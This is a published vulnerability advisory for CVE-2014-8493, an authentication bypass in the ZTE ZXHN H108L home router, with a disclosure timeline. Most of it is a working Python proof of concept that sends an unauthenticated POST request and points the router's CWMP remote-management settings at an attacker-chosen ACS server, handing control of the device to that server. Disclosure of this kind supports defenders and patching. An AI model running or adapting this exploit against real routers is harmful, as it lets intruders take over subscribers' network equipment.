ZTE ZXHN H108L - Authentication Bypass (1)

# Exploit Title: ZTE ZXHN H108L Authentication Bypass

# Date: 14/11/2014

# Exploit Author: Project Zero Labs (https://projectzero.gr | 

labs@projectzero.gr)

# Vendor Homepage: www.zte.com.cn

# Version: ZXHN H108LV4.0.0d_ZRQ_GR4

# Tested on: ZTE ZXHN H108L

# CVE : CVE-2014-8493



#Original post at 

https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/



Description

===========

CWMP configuration is accessible only through the Administrator account. 

CWMP is a protocol widely used by ISPs worldwide for remote provisioning 

and troubleshooting subscribers' equipment. However editing the CWMP 

parameters (more specifically sending the POST request) does not require 

any user authentication.



Proof of Concept

================



#!/usr/bin/python



import requests



acs_server = "http://<server>:<port>"

acs_user = "user"

acs_pass = "pass"



# Connection request parameters. When a request is made to the following 

URL, using the specified user/pass combination,

# router will connect back to the ACS server.



conn_url = "/tr069"

conn_port = "7564"

conn_user = "user"

conn_pass = "pass"



#Periodic inform parameters

active = 1

interval = 2000



payload = {'CWMP_active': '1', 'CWMP_ACSURL': 

acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 

'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': 

conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 

'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': 

active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }



r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", 

data=payload)



Disclosure Timeline

===================



27/10/2014 - First communication attempt to both vendor and ISP

04/11/2014 - ZTE response stating that ISP should be contacted

03/11/2014 - Second attempt to contact the ISP.

14/11/2014 - No response from ISP. Public Disclosure